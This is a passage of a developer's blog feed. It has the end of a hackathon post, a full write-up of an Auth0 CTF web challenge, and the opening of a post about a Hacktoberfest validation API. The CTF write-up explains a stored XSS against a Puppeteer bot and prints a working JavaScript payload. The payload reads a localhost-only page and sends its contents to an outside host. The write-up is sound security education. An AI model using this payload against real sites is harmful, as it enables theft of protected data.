&lt;li&gt;How to write and deploy one on Arweave&lt;/li&gt;
&lt;li&gt;How to Interact with them &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Read about my project I built for the hackathon if you're interested below 🙂&lt;/p&gt;

&lt;h4&gt;
  
  
  Bonus Tip
&lt;/h4&gt;

&lt;p&gt;All of these are done via CLI, but to scale it to a real world application. You would need to the Arweave SDKs and APIs.&lt;br&gt;&lt;br&gt;
Happy Exploring 😉&lt;/p&gt;

&lt;h3&gt;
  
  
  About my project &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;Its called &lt;strong&gt;People Help People&lt;/strong&gt;, the origin of the name comes from the idea of a society where people are not dependent on middle men or central systems to help each other. One can find more information about the Aim and Goals on the &lt;a href="https://docs.google.com/presentation/d/1aKKLEy4_jbnvHA1-2FpWgVjiqPK1W-jKKnlb-1cZPKc/edit?usp=sharing" rel="noopener noreferrer"&gt;Pitch Deck&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This is a blockchain based project. It has two parts to it. The smart contracts and the web client interface. &lt;/p&gt;

&lt;p&gt;The project presently consists of two prototypes&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/People-Help-People/petitions" rel="noopener noreferrer"&gt;Petitions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/People-Help-People/crowdsource" rel="noopener noreferrer"&gt;Crowdsource&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Both of these prototypes inherits the idea of PHP, i.e. to defeat the intervention of a central system. Hence I covered only one of them in the article. Once I learnt the basic fundamentals of how smart contracts work and how to write one, giving life to these two ideas was plain sailing. &lt;/p&gt;

&lt;p&gt;Devfolio Submission link: &lt;a href="https://devfolio.co/submissions/people-help-people-a3c8" rel="noopener noreferrer"&gt;https://devfolio.co/submissions/people-help-people-a3c8&lt;/a&gt;&lt;br&gt;&lt;br&gt;
GitHub Repo link: &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople" rel="noopener noreferrer"&gt;https://github.com/HarishTeens/PeopleHelpPeople&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I had to struggle a lot to walk through the right steps in order to learn this. So I tried my best to make the learning smooth for a beginner. Please share your feedbacks in the comments.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Join the Movement
&lt;/h3&gt;

&lt;p&gt;If you're interested in joining the movement, dm me on Twitter so I could add you to the organisation &lt;a href="https://github.com/People-Help-People" rel="noopener noreferrer"&gt;People Help People&lt;/a&gt; on GitHub. It's a very recent org, so it appears to be blank at the moment. But definitely planning to work on it in the future ✨ &lt;/p&gt;

&lt;p&gt;Follow me on Twitter &lt;a href="https://twitter.com/harishteens" rel="noopener noreferrer"&gt;@HarishTeens&lt;/a&gt;   &lt;/p&gt;

</description>
      <category>javascript</category>
      <category>blockchain</category>
      <category>web3</category>
    </item>
    <item>
      <title>Blink Host | Auth0 CTF Write-up</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Wed, 27 Oct 2021 04:53:54 +0000</pubDate>
      <link>https://dev.to/harishteens/blink-host-auth0-ctf-write-up-4l7f</link>
      <guid>https://dev.to/harishteens/blink-host-auth0-ctf-write-up-4l7f</guid>
      <description>&lt;h2&gt;
  
  
  Background
&lt;/h2&gt;

&lt;p&gt;This web challenge was hosted on Auth0 CTF 2021. Read more about it &lt;a href="https://auth0.com/blog/introducing-auth0-ctf/" rel="noopener noreferrer"&gt;here&lt;/a&gt;. This challenge was tagged for 625 points with a 2 star rating. I would categorise the difficulty level as Beginner-Intermediate. Download the challenge file from this &lt;a href="https://github.com/dscnitrourkela/CTF-solutions/blob/main/problems/web_blink_host.zip" rel="noopener noreferrer"&gt;link&lt;/a&gt;. The zip file extracks to a challenge folder with docker config. To setup the docker container in local, simply run the &lt;code&gt;build-docker.sh&lt;/code&gt; file and you should be good to go.  &lt;/p&gt;

&lt;p&gt;The following is a write-up for the aforementioned challenge, give it a shot yourself before reading ahead. &lt;/p&gt;

&lt;h2&gt;
  
  
  Table Of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Recon&lt;/li&gt;
&lt;li&gt;Initial thought process&lt;/li&gt;
&lt;li&gt;Exploring Pupeeteer&lt;/li&gt;
&lt;li&gt;Building the solution&lt;/li&gt;
&lt;li&gt;Summary&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A quick overview of the application would be that it is a dynamic website that lets you submit a support ticket via an input form. There are other routes as well but it cant be accessed normally with the browser. Like you guessed, the flag is buried in one of the protected routes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Recon &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;First I started browsing through the source code to understand what all technologies are used. &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Express App (JS) : The app uses ExpressJS for the backend. &lt;/li&gt;
&lt;li&gt;Nunjucks: The most commonly used templating library is Nunjucks. Once I saw this maybe there is some injection possible somewhere.&lt;/li&gt;
&lt;li&gt;SQL DB: Alright, the database was on SQL. I got excited to see this one as I'm a big fan of SQLi scripting.
sqli&lt;/li&gt;
&lt;li&gt;Puppeteer: There was also Puppeteer. I've barely used it, so I just had in the back of my head. Not sure what would be possible with it.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This was all I got from a bird's eye view. This is usually the first thing I do. Next is to understand what the app does, like really trying to understand what operations it is performing under the hood.&lt;/p&gt;

&lt;p&gt;After browsing through the files.  Of all the routes, the only 3 that mattered are the following:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;settings&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/tickets&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/api/submit_ticket&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Out of these, only the 3rd route is accessible via the browser. The first two routes are guarded by a condition that allows traffic originated only within the network i.e. from localhost.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;127.0.0.1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;So whenever I try to goto any of the endpoints from the browser, it simply redirects to the landing page.&lt;br&gt;
Coming to the most important part, the flag was present inside settings.html that could only be accessed via the settings route. Let us explore how we could retrieve the flag.&lt;/p&gt;

&lt;h3&gt;
  
  
  Initial thought process &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;location of the flag&lt;/li&gt;
&lt;li&gt;in order to get to the flag, we gotta expose settings.html&lt;/li&gt;
&lt;li&gt;and that is blocked only from 127.0.0.1&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since the flag was hid behind the &lt;code&gt;/settings&lt;/code&gt; endpoint, it can only be accessed within the network. If we somehow trick the server into thinking that the request originated within the network, it must lead us to settings.html. &lt;/p&gt;

&lt;p&gt;My initial thought process was to simply try spoofing the request, make the server believe that the request is in fact originated from localhost. So I tried googling how to do that and found the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header. Basically I was trying to understand how node identifies the request IP, so I thought I could send a payload there. This &lt;a href="https://stackoverflow.com/questions/8107856/how-to-determine-a-users-ip-address-in-node" rel="noopener noreferrer"&gt;post&lt;/a&gt; helped me send a curl request with the above header set to &lt;code&gt;127.0.0.1&lt;/code&gt;. Unfortunately, that didnt work.&lt;/p&gt;

&lt;p&gt;After trying to set other header's, I realised that the request cannot be spoofed. It has to be legit!&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploring Puppeteer &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;The only piece I had'nt explored was Pupeeteer which in fact visited the &lt;code&gt;/tickets&lt;/code&gt; route right after a ticket is submitted. If you're hearing about Puppeteer for the first time, read their &lt;a href="https://pptr.dev/" rel="noopener noreferrer"&gt;website&lt;/a&gt;. In simple terms, its a bot that mimics how a user interacts with websites.&lt;/p&gt;

&lt;p&gt;Exploring its code...&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/submit_ticket&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;website&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;website&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addTicket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;website&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;bot&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;purgeData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Ticket submitted successfully! An admin will review the ticket shortly!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Please fill out all the fields first!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This was actually fishy cause, the purgeData function is being called right after a ticket is submitted. So what essentially happens is the bot visits the page and then it simply clears the db. Its strange, but yeah thats what it does.&lt;/p&gt;

&lt;p&gt;Now I was wondering, can I trick Puppeteer to visit the &lt;code&gt;/settings&lt;/code&gt; route that contains the flag somehow? So I began exploring the bot code and routes. No SQLI was possible, it was cleverly filtered. So thats out of the equation. Even template injection wouldnt work. &lt;/p&gt;

&lt;p&gt;After some exploration, I noticed the ticket from db is fetched and rendered on the tickets HTML DOM. Suddenly it hit me, would a simple XSS work? cause its just rendering the field from the db without sanitizing it. But the big question is how would I know if it worked? I ain't visiting the site, Puppeteer does. &lt;/p&gt;

&lt;p&gt;Lots of problems to be solved here...&lt;/p&gt;

&lt;p&gt;To test my theory, I had to make Pupetter call my external API endpoint by sending a JS payload. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2ne86pdt1ai5417nrdw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2ne86pdt1ai5417nrdw.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A few seconds after I hit submit, I saw a GET request being made to this endpoint in the logs . My theory works, Tada 🎉🎉🎉&lt;/p&gt;

&lt;h3&gt;
  
  
  Building the solution &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;Now that I know Puppeteer can send data outside, all I had to do was write a JS script that grabs the flag from &lt;code&gt;/settings&lt;/code&gt; route and sends it to my Cloudflare API.&lt;/p&gt;

&lt;p&gt;This solution would work cause it is in fact Pupetter which is running locally(request IP is 127.0.0.1) that visits the &lt;code&gt;/settings&lt;/code&gt; endpoint, not me!!!&lt;/p&gt;

&lt;p&gt;So here comes the easy part&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

    &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://127.0.0.1:1337/settings&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;exp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lastIndexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;HTB{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://curly-art-0176.designrknight.workers.dev/a=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The simplest JS script to visit settings page, grab the flag and send back in the GET param. This could probably be the smallest backdoor script that I've ever written xD.&lt;/p&gt;

&lt;p&gt;As soon as I hit submit, I got a hit on the logs. The param had the flag. And yes it was the right one!&lt;/p&gt;

&lt;h3&gt;
  
  
  Summary &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;The website is &lt;strong&gt;XSS susceptible&lt;/strong&gt;. So write a fetch request that visits settings route, grabs the flag and then posts it back to an external endpoint. This worked because &lt;strong&gt;pupetter didnt block external network connetions&lt;/strong&gt;. These two are the major vulnerabilities here.&lt;/p&gt;

&lt;p&gt;Follow me on &lt;a href="https://twitter.com/harishteens" rel="noopener noreferrer"&gt;twitter.com/HarishTeens&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I would like to thank Auth0 for hosting the CTF ✨. Special thanks to &lt;a href="https://twitter.com/designrknight" rel="noopener noreferrer"&gt;@DesignrKnight&lt;/a&gt; | Partner in crime.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>web</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>How I built the API for Hacktoberfest Validation</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Wed, 18 Nov 2020 04:51:14 +0000</pubDate>
      <link>https://dev.to/gh-campus-experts/building-an-api-for-hacktoberfest-validation-3jl6</link>
      <guid>https://dev.to/gh-campus-experts/building-an-api-for-hacktoberfest-validation-3jl6</guid>
      <description>&lt;p&gt;If you're up for some old Queen hits, feel free to turn it up!&lt;/p&gt;

&lt;p&gt;&lt;iframe src="https://open.spotify.com/embed/artist/1dfeR4HaWDbWqFHLkxsg1d" width="100%" height="380px"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  Where it all started
&lt;/h3&gt;

&lt;p&gt;Online certificates have become a huge thing nowadays. With people posting certificates on LinkedIn, no one seems the bother about its authenticity or value. All this for what? to incentivize people? Hmm...&lt;br&gt;&lt;br&gt;
More and more digital documents came into play. Things like Photo frames, Online ID Cards, Badges for attending events...etc. Assigning people with badges seemed like a cool thing to do. That's when we started digging and came to know about DSC OMG event. DSC OMG is a global conference for talks, workshops and events for developers. They had used a badges framework wrapped around their event. At the end people had badges in their dashboard for crazy things like attending a particular session, logging in first, staying up till the end. One could easily think of a billion ways to assign badges.&lt;/p&gt;
&lt;h3&gt;
  
  
  The badges Framework
&lt;/h3&gt;

&lt;p&gt;We at DSC NIT Rourkela have wrapped our &lt;a href="https://live.dscnitrourkela.org/" rel="noopener noreferrer"&gt;website&lt;/a&gt; with the same badges framework which DSC OMG had used. Thanks to &lt;a href="https://twitter.com/Kautukkundan" rel="noopener noreferrer"&gt;Kautuk Kundan&lt;/a&gt; (the creator of the badges framework).&lt;/p&gt;

&lt;p&gt;After setting up the badges server, even we went crazy and started giving away badges for all sorts of activities. At the end of October, I had this thought of assigning badges to the ones who have completed the Hacktoberfest 2020 Challenge. When I first thought about it, I didn't really give much thought about it. Since it is GitHub and DigitialOcean has already done, assumed it to be fairly straightforward. And it is if you know how it is done :).&lt;/p&gt;
&lt;h3&gt;
  
  
  Getting to work
&lt;/h3&gt;

&lt;p&gt;Before getting into coding, I first picture the flow of all the things that need to be done. Firstly, there would be a login button on the front-end which authenticates the user and send a token to some server. Then that server fetches the PR history and does the validation check, return back with a Success True/False response.   &lt;/p&gt;

&lt;p&gt;Setting up an OAuth GitHub app was really easy. Once that is done, I started looking into the GitHub API Docs.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Problem
&lt;/h3&gt;

&lt;p&gt;As I was going through the Docs, I couldn't find any API which gives away the PR of an authenticated user. That really hit me hard. It didn't make sense, because DO has done it, so there must be a way. I was thinking to use search queries, even considering scrapping the page( sorry GitHub :/). No luck whatsoever.&lt;br&gt;&lt;br&gt;
I pretty much gave up and thought maybe DO has some internal affair with GitHub. The big enterprises get it done. It was a big surprise to me when I got to know that the entire Hacktoberfest website, server and client was on GitHub. I felt like I hit a JackPot! It didn't even last for a second :(.&lt;/p&gt;
&lt;h3&gt;
  
  
  Exploring DO's Hacktoberfest Repo
&lt;/h3&gt;

&lt;p&gt;The entire codebase was on Ruby and I have no idea of Ruby. Tried going into random files in hope to figure something out, but no luck. I've used Python, JavaScript, C++ and even PHP. But Ruby was totally strange! No one I knew had a good understanding of Ruby. Out of frustration, I went to the contributors list and started mailing them!&lt;/p&gt;

&lt;p&gt;Yes, that is what I did. Found the top contributor, her name is Frida. She had her mail on GitHub, even though I couldn't really comprehend why she would help me. Yet I mailed her, then I found a username called &lt;code&gt;MattIPv4&lt;/code&gt;. This dude had his Twitter handle on GitHub, and his GitHub Profile said &lt;em&gt;Community Platform Manager @digitalocean&lt;/em&gt;. Now, this is the real jackpot.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Magic
&lt;/h3&gt;

&lt;p&gt;I texted Matt on Twitter, He asked me to drop a mail to Hacktoberfest support. As Matt suggested, I sent the same mail which I had sent to Frida. I was surprised to get a reply back within &lt;em&gt;17 mins&lt;/em&gt;. &lt;br&gt;
Below is the reply I got&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fyu1e85a45xjfrtomf0fj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fyu1e85a45xjfrtomf0fj.png" alt="Email" width="800" height="292"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As one could see, the file for the individual functionalities was clearly mentioned. This was like the ultimate tip, went right into the files, although I was not able to recognise any Ruby Code. I found out that there is a GraphQL query which fetches PR History. Yes, I was initially referring to only REST API of GitHub as I wasn't very much comfortable with GraphQL. I didn't even have to write my own GraphQL query, I copy pasted the exact query which was in the repo to my NodeJS GraphQL client.&lt;/p&gt;
&lt;h3&gt;
  
  
  Actual work begins
&lt;/h3&gt;

&lt;p&gt;Now that I have the data, I just had to filter the PR based on the guidelines. Quickly I fired up an Express Server with all the basic setup. I always prefer Express and NodeJS for backend, it is powerful and super fast to build. With NPM, one could do any damn thing they want to, cause there would be an NPM package for every damn thing B|.&lt;br&gt;
I filtered the data according to the updated guidelines, even added support to handle PRs which counts before the guidelines were updated.&lt;/p&gt;
&lt;h3&gt;
  
  
  What the API does
&lt;/h3&gt;

&lt;p&gt;The API takes in the user token and responds back with a &lt;code&gt;{success:True}&lt;/code&gt; if they have completed the challenge else &lt;code&gt;{success:False}&lt;/code&gt; if they haven't.  Check out the Repository on GitHub to see an example Request and Response.&lt;br&gt;
&lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--A9-wwsHG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/HarishTeens" rel="noopener noreferrer"&gt;
        HarishTeens
      &lt;/a&gt; / &lt;a href="https://github.com/HarishTeens/hacktoberfest-validation" rel="noopener noreferrer"&gt;
        hacktoberfest-validation
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Hacktoberfest 2020 Validation Checker&lt;/h2&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Introduction&lt;/h3&gt;

&lt;/div&gt;
&lt;p&gt;An API to simulate DigitalOcean's Hacktoberfest Validation Check.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Step to Use the API&lt;/h3&gt;

&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Make a POST Request to &lt;code&gt;http://localhost:4000/hacktoberfest&lt;/code&gt; .&lt;/li&gt;
&lt;li&gt;Send your PAT(Personal Access Token) in Body.  Check this &lt;a href="https://github.com/settings/tokens" rel="noopener noreferrer"&gt;link&lt;/a&gt; to get your PAT.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Example&lt;/h2&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Request&lt;/h3&gt;

&lt;/div&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/HarishTeens/hacktoberfest-validationassets/Screenshot_20201116_154027.png"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--7tO_uzpE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://github.com/HarishTeens/hacktoberfest-validationassets/Screenshot_20201116_154027.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Response&lt;/h3&gt;

&lt;/div&gt;
&lt;p&gt;If completed,
&lt;code&gt;{  success:true    }&lt;/code&gt;&lt;br&gt;
else &lt;code&gt;{  success:false }&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;References: &lt;a href="https://github.com/digitalocean/hacktoberfest" rel="noopener noreferrer"&gt;Official Digital Ocean's Repository&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Special Thanks to &lt;a href="https://github.com/fridaland" rel="noopener noreferrer"&gt;@fridaland&lt;/a&gt; and &lt;a href="https://github.com/MattIPv4" rel="noopener noreferrer"&gt;@MattIPv4&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;



&lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/HarishTeens/hacktoberfest-validation" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;h3&gt;
  
  
  How the API works
&lt;/h3&gt;

&lt;p&gt;Here are the steps which execute in sequence&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Get User Token&lt;/li&gt;
&lt;li&gt;Fetch PR History&lt;/li&gt;
&lt;li&gt;Filter the PRs in accordance with DO's guidelines.&lt;/li&gt;
&lt;li&gt;Return True/False based on the count of valid PRs.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What more could be improved
&lt;/h3&gt;

&lt;ul&gt;
